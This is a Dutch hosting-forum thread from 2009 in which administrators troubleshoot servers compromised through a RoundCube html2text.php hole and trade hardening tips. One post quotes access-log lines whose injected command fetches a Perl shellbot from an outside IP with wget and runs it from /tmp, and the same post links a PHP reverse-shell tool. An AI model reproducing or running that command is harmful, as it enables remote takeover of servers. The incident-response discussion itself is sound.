PDA

Bekijk Volledige Versie : Apache geinfecteerd?



Tweak
10/02/09, 21:43
Iedereen kent het waarschijnlijk wel de Roundcube bug :angry:
ik kwam er pas laatst achter, zag dat een process telkens 100% trok
van 1 core. bleek er allemaal troep te draaien en in /tmp en in /var/tmp behoorlijk wat files aanwezig (ja ook compiled) nu heb ik het allemaal
weggehaald en chkrootkit laten draaien. vond niks.... alle processen waren
dus ook weg. en nu zie ik ineens dit:

web1:~# netstat -ap | grep bash
udp 0 0 *:54409 *:* 20574/bash
web1:~# lsof | grep 20574
bash 20574 apache cwd DIR 0,16 2060 19786038 /dev/shm/...
bash 20574 apache rtd DIR 9,2 4096 2 /
bash 20574 apache txt REG 0,16 492135 19786086 /dev/shm/.../bash
bash 20574 apache mem REG 0,0 0 [heap] (stat: No such file or directory)
bash 20574 apache mem REG 9,2 67364 9470907 /lib/tls/i686/cmov/libresolv-2.3.6.so
bash 20574 apache mem REG 9,2 17840 9470900 /lib/tls/i686/cmov/libnss_dns-2.3.6.so
bash 20574 apache mem REG 9,2 38372 9470901 /lib/tls/i686/cmov/libnss_files-2.3.6.so
bash 20574 apache mem REG 9,2 1241392 9470892 /lib/tls/i686/cmov/libc-2.3.6.so
bash 20574 apache mem REG 9,2 88164 9453570 /lib/ld-2.3.6.so
bash 20574 apache 0w REG 0,16 34 19786060 /dev/shm/.../LinkEvents
bash 20574 apache 3u IPv4 20712422 UDP *:54409
web1:~#

En ja hier snap ik eerlijk gezegd geen zak van. Iemand begon tegen mij te zeuren dat ik die server moet herinstalleren maar daar ben ik niet zo heel blij mee.... (je ziet wel dat er geen traffic over de poort is geweest?) iptables laat dat ook niet toe als het goed is.

goudgeel
10/02/09, 21:58
Een 'schone' server is wel beter dan zo blijven draaien kan je niet even de pakketten over zetten op een 2e machine en later terug zetten ?

Zo doen wij het hier meestal.

Kim

Tweak
10/02/09, 22:13
Hmm, die stomme bak zit ook in software raid. etc word weer een leuk werkje zucht maar ik denk wel dat het moet ja. het process blijft maar terugkomen kan niet vinden waar het vandaan komt.... die bak draait DA maar met oude apache, mss verstandig meteen nieuwe te pakken?

daveww
10/02/09, 22:52
Hmm, die stomme bak zit ook in software raid. etc word weer een leuk werkje zucht maar ik denk wel dat het moet ja. het process blijft maar terugkomen kan niet vinden waar het vandaan komt.... die bak draait DA maar met oude apache, mss verstandig meteen nieuwe te pakken?Indien gewenst kan ik wel even een kijkje nemen, ik vermoed dat er nog enkele scripts draaien, wellicht iets (verborgen) in de /tmp/ map.

ichosting
10/02/09, 22:54
Kijk ook even in de apache crontab of daar nog dingen worden gestart
kijk met opdracht crontab -e -u apache

Zet trouwens de apache cron even in de deny.

daveww
10/02/09, 23:12
Kijk ook even in de apache crontab of daar nog dingen worden gestart
kijk met opdracht crontab -e -u apache

Zet trouwens de apache cron even in de deny.Als je enkel hoeft te kijken is 'crontab -u apache -l' genoeg en sneller :)

Ik vermoed dat er ergens e.o.a. bash scriptje is geplaatst (dmv roundcube, html2text (meen ik zo te herinneren)).
Het was volgens mij genaamd 'wssh' als ik mij niet vergis wat ik gelezen heb.

systemdeveloper
10/02/09, 23:12
die bak draait DA maar met oude apache, mss verstandig meteen nieuwe te pakken?
Hmm... wat denk je... komt dit soort ellende meestal bij oude software of bij up2date software voor?

ichosting
10/02/09, 23:15
Als je enkel hoeft te kijken is 'crontab -u apache -l' genoeg en sneller :)

Dat klopt, maar als er wel iets instaat en je moet hem dan alsnog gaan openen, dan was het eerste toch sneller geweest ;)

Maar voor alleen kijken is jouw oplossing de beste. :thumbup:

Tweak
10/02/09, 23:53
Jup daar staat het.. in de crontab leuk ding ook gevonden....

web1:/dev/shm/...# ./xh
XHide - Process Faker, by Schizoprenic Xnuxer Research (c) 2002

maar goed ik had /tmp al gecleaned en /var/tmp hoe komt het in die /dev ??!?!?
allemaal via die roundcube?

daveww
11/02/09, 00:01
Jup daar staat het.. in de crontab leuk ding ook gevonden....

web1:/dev/shm/...# ./xh
XHide - Process Faker, by Schizoprenic Xnuxer Research (c) 2002

maar goed ik had /tmp al gecleaned en /var/tmp hoe komt het in die /dev ??!?!?
allemaal via die roundcube?Dit komt door een bug in 1 van de files in de roundcube.

Makkelijkste en snelste is zowieso (zodra je de database gegevens hebt gebackup'ed):

rm -rf /var/www/html/roundcube*
En even de nieuwste versie downloaden en installeren (daar zou de bug al in opgelost moeten zijn)

Verder even wat checkers laten draaien voor het geval dat, zo heeft bijvoorbeeld CSF/LFD het voordeel dat (LFD) automatisch verdachte files etc in een mail (indien ingesteld) naar je toestuurd.

PS: Ik zou meteen even zoveel mogelijk software updaten, oude software gebruiken brengt nogal wat risico's met zich mee :)

mikeh
11/02/09, 00:26
Alsnog raad ik je aan om van een clean installatie te beginnen.

daveww
11/02/09, 00:37
Alsnog raad ik je aan om van een clean installatie te beginnen.Dat is natuurlijk het allerbeste om te doen, dan weet je in ieder geval 100% zeker dat die vage scripts eraf zijn :thumbup:

Spyder01
11/02/09, 00:39
Alsnog raad ik je aan om van een clean installatie te beginnen.

Kan, maar je kunt ook gewoon het systeem even goed checken. De boel schoonmaken (zowel handmatig als met de daarvoor bedoelde proggies) en controleren, dan de boel updaten en de beveiliging aanscherpen / aanpassen waar nodig.

Tweak
11/02/09, 00:55
alles is nu weg ;) weet bijna wel zeker dat er geen vage scripts meer zijn :) ik blijf dit gewoon in de gaten houden. Die machine word toch binnenkort vervangen door een goeie. meteen nieuwste kernel erop en nieuwste apache etc. had roundcube al meteen eraf gegooid. wel stom ik las toen over die bug en had zoiets van zal wel meevallen.. niet dus.

mikeh
11/02/09, 12:43
Kan, maar je kunt ook gewoon het systeem even goed checken. De boel schoonmaken (zowel handmatig als met de daarvoor bedoelde proggies) en controleren, dan de boel updaten en de beveiliging aanscherpen / aanpassen waar nodig.

U doelt op welke "proggies" ?

Alsnog raad ik aan om een herinstallatie te overwegen, een rootkit hunter detecteerd de laatst nieuwe (lees; niet public released) backdoor/rootkits niet.
Het team gaat uit van publieke informatie, tegenwoordig worden in de security (whitehats :O) groepen codes van bugs niet meer openbaar gemaakt.
Je zult zulke maliciouse code dan ook nooit op milworm of packetstormsecurity.com aantreffen :thumbup:

Suc6 met reinstallen.

Japje
11/02/09, 13:59
U doelt op welke "proggies" ?

Alsnog raad ik aan om een herinstallatie te overwegen, een rootkit hunter detecteerd de laatst nieuwe (lees; niet public released) backdoor/rootkits niet.

Maar meestal de tools om de backdoors te verbergen wel ;-) een beetje backdoor is pas een backdoor als je hem met ps, netstat of lsof niet meer kan vinden.


Het team gaat uit van publieke informatie, tegenwoordig worden in de security (whitehats :O) groepen codes van bugs niet meer openbaar gemaakt.

:X de meeste whitehats zullen altijd exploits bekend maken aan de betreffende software boer, daar zijn het whitehats voor. Alleen sommige closed source software boeren vinden het niet zo leuk dat ze er op gewezen worden en zullen het dan ook niet publiceren. Maar veel opensource bugs worden gewoon aan de community laten zien zodat mensen eventueel zelf al een patch kunnen maken :)


Je zult zulke maliciouse code dan ook nooit op milworm of packetstormsecurity.com aantreffen :thumbup:

Suc6 met reinstallen.

Dat wat meestal al zo :) alleen voor oude exploits zie je ze daar nog wel eens.

bami82
11/02/09, 15:47
Misschien overbodig maar hmm, zorg ook altijd dat je /tmp gemount is met noexec en nosuid.

Blacky
14/02/09, 22:50
Is dat ergens aan te zien? In onze DA machine staat in de fstab geen /tmp:

proc /proc proc defaults 0 0
/dev/sda5 / ext3 defaults,errors=remount-ro,usrquota,grpquota 0 1
/dev/sda1 /boot ext3 defaults 0 2
/dev/sda6 none swap sw 0 0
server:/etc#
dus ik neem aan dat ik die aan moet maken? Wij hadden er ook eentje die via roundcube een .txt bestandje met een botshell wist te plaatsen in /tmp die schijnbaar ook uitgevoerd kon worden want apache werd er door gekilled.

mikeh
15/02/09, 01:37
Beste Blacky,

Dit betekend dat je server/doos via roundcube "geowned" is, en dat je waarschijnlijk dmv een local root exploit "geroot" bent.
En dus de "attacker" op het moment een "rootshell" heeft via een backdoor.

Gelieve te reinstallen of meerdere details te posten.

Groeten,

Mike

Blacky
15/02/09, 02:21
Thanks Mikeh.

Uit de /var/logs/httpd/homedirlog:

- "POST /roundcube/bin/html2text.php?cmd=wget%20http://85.204.12.56/22.txt%20-O%20/tmp/22.txt;perl%20/tmp/22.txt%20%3E%3E/dev/null&
HTTP/1.0"
- "POST /roundcube/bin/html2text.php?cmd=wget%20http://85.204.12.56/22.txt%20-O%20/tmp/22.txt;perl%20/tmp/22.txt%20%3E%3E/dev/null&
HTTP/1.0"

Het txt bestandje kun je volgens mij nog steeds van die server ophalen, zit een doos code in. Het initieert een botshell.
Deze maakt voor zover ik kan zien een verbinding met een gehackte andere nl hoster die een ip met 195.242.x.x heeft.

Het lijkt op dit moment over. Bestandje weggehaald, server gereboot en roundcube geupdate.
Er was wel meteen te zien dat er vlak daarna weer scans met w00tw00t begonnen.
Hack was om 19.45 en ik was er om 20.10 uur bij.

Maar de vraag was dus eigenlijk of ik dan toch zo'n /tmp met noexec en nosuid moet gaan aanmaken. Ik vraag me overigens af waarom men dat bij de installatie van zo'n machine als je die besteld, meteen aanpast.

Aanvulling... machine van een kennis hadden ze ook te pakken, ook met een txt in de /tmp directory, echter een php file, deze (weet niet of ik de link mag plaatsen, zonee a.u.b. verwijderen):
hxxp://pentestmonkey punt net/tools/php-reverse-shell/

Groeten,
Richard.

daveww
15/02/09, 02:48
Kijk ook eens in '/etc/mtab', wellicht dat het daar wél staat.

Zelfs mijn virusscanner geeft al een melding als ik die 22.txt wil bekijken :)


The requested object is INFECTED with the following viruses: Backdoor.Perl.Shellbot.r

Blacky
15/02/09, 02:50
Mtab zag ik hem ook niet zo snel


/dev/sda5 / ext3 rw,errors=remount-ro,usrquota,grpquota 0 0
tmpfs /lib/init/rw tmpfs rw,nosuid,mode=0755 0 0
proc /proc proc rw,noexec,nosuid,nodev 0 0
sysfs /sys sysfs rw,noexec,nosuid,nodev 0 0
procbususb /proc/bus/usb usbfs rw 0 0
udev /dev tmpfs rw,mode=0755 0 0
tmpfs /dev/shm tmpfs rw,nosuid,nodev 0 0
devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0
/dev/sda1 /boot ext3 rw 0 0

Groetjes, Richard.

DutchTSE
15/02/09, 10:51
Mtab zag ik hem ook niet zo snel


/dev/sda5 / ext3 rw,errors=remount-ro,usrquota,grpquota 0 0
tmpfs /lib/init/rw tmpfs rw,nosuid,mode=0755 0 0
proc /proc proc rw,noexec,nosuid,nodev 0 0
sysfs /sys sysfs rw,noexec,nosuid,nodev 0 0
procbususb /proc/bus/usb usbfs rw 0 0
udev /dev tmpfs rw,mode=0755 0 0
tmpfs /dev/shm tmpfs rw,nosuid,nodev 0 0
devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0
/dev/sda1 /boot ext3 rw 0 0

Groetjes, Richard.

Bij een next next finish installatie heb je inderdaad geen aparte /tmp partitie, die wordt als directory onder / neergezet.

http://lmgtfy.com/?q=directadmin+securing+%2Ftmp

Herbert
15/02/09, 11:06
Het is nooit verkeerd om een aparte /tmp aan te maken en te mounten met noexec en nosuid.
Je /tmp maakt nu deel uit van je root map, als je /tmp vol loopt dan heb je nog een probleem erbij.
Verder heb ik hier AVG en Clamscan meelopen op de achtergrond, alle kleine beetjes helpen.

Geert-Jan
15/02/09, 12:22
Het is nooit verkeerd om een aparte /tmp


...een must.

Blacky
15/02/09, 16:31
@DutchTSE: die thread op Directadmin had ik al gevonden. Wilde alleen zeker weten of dat wel zin had aangezien het script in txt vorm een php bestand was en geen executable.
Ik doe niet zo graag partitiedingen wijzigen aan een live server waar ook nog een controlepaneel op draait.

Maar gezien de reacties gaan we het dan toch maar eens aanpassen middels die handleiding. Bedankt allemaal.

DutchTSE
15/02/09, 16:53
@DutchTSE: die thread op Directadmin had ik al gevonden. Wilde alleen zeker weten of dat wel zin had aangezien het script in txt vorm een php bestand was en geen executable.
Ik doe niet zo graag partitiedingen wijzigen aan een live server waar ook nog een controlepaneel op draait.

Maar gezien de reacties gaan we het dan toch maar eens aanpassen middels die handleiding. Bedankt allemaal.
En dat php bestand download vervolgens een perl of ander scriptje.. en juist, dat is wel een executable ;)

mikeh
15/02/09, 16:55
Ruikt naar RFI. Zal me niks verbazen dat ze een backdoor geplaatst hebben :)

Suc6 met reinstallen.

Blacky
15/02/09, 16:57
Aaaah... ja tuurlijk. Stom.->|

Na een paar keer http herstarten om te kijken of dat goed werkte vannacht zag ik nog dit:

httpd 23520 apache 237u IPv6 3279284 TCP
WGUxxx.local:www->134.Red-88-0-77.dynamicIP.rima-tde.net:64677
(ESTABLISHED)
Kan dat kwaad of is dat net toevallig een bezoeker die bezocht terwijl ik apache herstartte? Nadien heb ik het niet meer gezien.

Blacky
16/02/09, 02:13
Euh... ik vroeg daarstraks of het zin had om die /tmp noexec te maken enzo... Lees ik net dit op het Directadmin forum in een andere thread:

Ok, I've read on here and via Google about noexec flag on /tmp... but can anyone tell me whats the point? As can still execute (sh & perl) in /tmp on all my servers (Debian Etch 4)..
Werd bevestigend op geantwoord. Dus als ik het goed begrijp kun je je tegen die perl dingen dus toch niet beschermen door de /tmp op noexec en nosuid te zetten?

Betreffende thread is hier (http://www.directadmin.com/forum/showthread.php?t=29464) te lezen.

Japje
16/02/09, 10:38
het is een van de dingen die je kunt doen om ze het lastiger te maken.. maar je zult veel meer moeten doen om het bijna helemaal dicht te krijgen. Denk hierbij aan geen cgi aanbieden, mod_ruid of suexec draaien. Url_include uitzetten (of in php4 misschien zelfs url_fopen) je zou kunnen denken aan een ge'chroote apache. dingen zoals cc/gcc chmodden en chrooten naar root only (700) dit zou je zelfs ook kunnen doen voor dingen zoals wget, curl lwp-* etc.

Daarnaast een firewall voor zowel inkomend als uitgaand verkeer. Daarnaast misschieni scriptje schrijven die elke X minuten checkt of er niet een user process onder apache te lang draait (langer dan de php exec time bijvoorbeeld)

En zo zullen er vast nog veel meer dingen zijn die je kan doen en dan nog is het geen zekerheid dat ze het niet lukt (al ben je met bovenstaande dingen al wel een heel eind)

t.bloo
16/02/09, 11:56
Je kunt dan nog php en perl en andere script programma's uitvoeren, omdat hierbij niet het scriptje wordt gestart, maar de script interpreter die niet in temp staat. Dus
php /tmp/leukscript.php kan nog wel, maar
/tmp/leukscript.php kan niet meer.

Toch weer een stapje extra beveiligd.

Serveo
16/02/09, 12:49
Wat wij ook doen is wget op chmod 750 zetten.

Daarnaast kun je met DA custombuild iedere nacht een cron draaien om voor updates te checken.

Markuz
16/02/09, 14:00
:') Sorry hoor, maar de meeste hier verdienen geen root toegang. Neem een beheerder.

Blacky
16/02/09, 16:29
@Markuz: Hou a.u.b. onzinnig commentaar voor je als je niet de ervaring en kundigheid kent van degene waar je het tegen hebt. Of hou je commentaar gewoon voor je tenzij echt duidelijk is dat iemand geen kennis heeft. Je hebt geen flauw benul.

@Japje, T. Bloo, Serveo: Bedankt voor jullie antwoorden en tips.
Dacht echter uit de engelse tekst op te maken dat als ze weer zo'n .txt bestandje in de /tmp plaatsen met een perl commando er in dat het niet zou uitmaken of de /tmp op noexec en nosuid stond. Ik wilde het sowieso toch al wijzigen, maar wilde ook graag weten wat er exact nog wel en niet kan en da's nu duidelijker.

Er draait ook al csf/lfd op die machine alleen wenst die geen mail te versturen of liever gezegd dat wordt door exim tegen gehouden maar daar start ik wel een andere thread over.

Gwen
16/02/09, 23:06
@Markuz: Hou a.u.b. onzinnig commentaar voor je als je niet de ervaring en kundigheid kent van degene waar je het tegen hebt. Of hou je commentaar gewoon voor je tenzij echt duidelijk is dat iemand geen kennis heeft. Je hebt geen flauw benul.

Ervaring en kundigheid? Ik moet er spontaan van lachen als ik je vragen terug zie. Hoop dat je alleen 'fun' klanten host inderdaad zoals je naam aangeeft en geen mensen welke afhankelijk zijn van hun website :unsure:.

Blacky
17/02/09, 01:00
Yeah right.. slaap maar lekker verder kerel. Zeker een collega van Markuz?
Ik moet ook lachen om figuren zoals jullie die denken aan een paar vragen iemands vaardigheden te kennen, maar zelf nooit een fout durven toegeven.
Uit de hoogte doen kan ik ook, maar ik verschuil me niet achter alleen een naampje zonder kvk nr. etc.

Herbert
17/02/09, 01:06
Kindertjes het al is lang bedtijd, ga het morgen op straat of op school even uitvechten en niet hier.

Blacky
17/02/09, 01:08
LoL.:D :lovewht: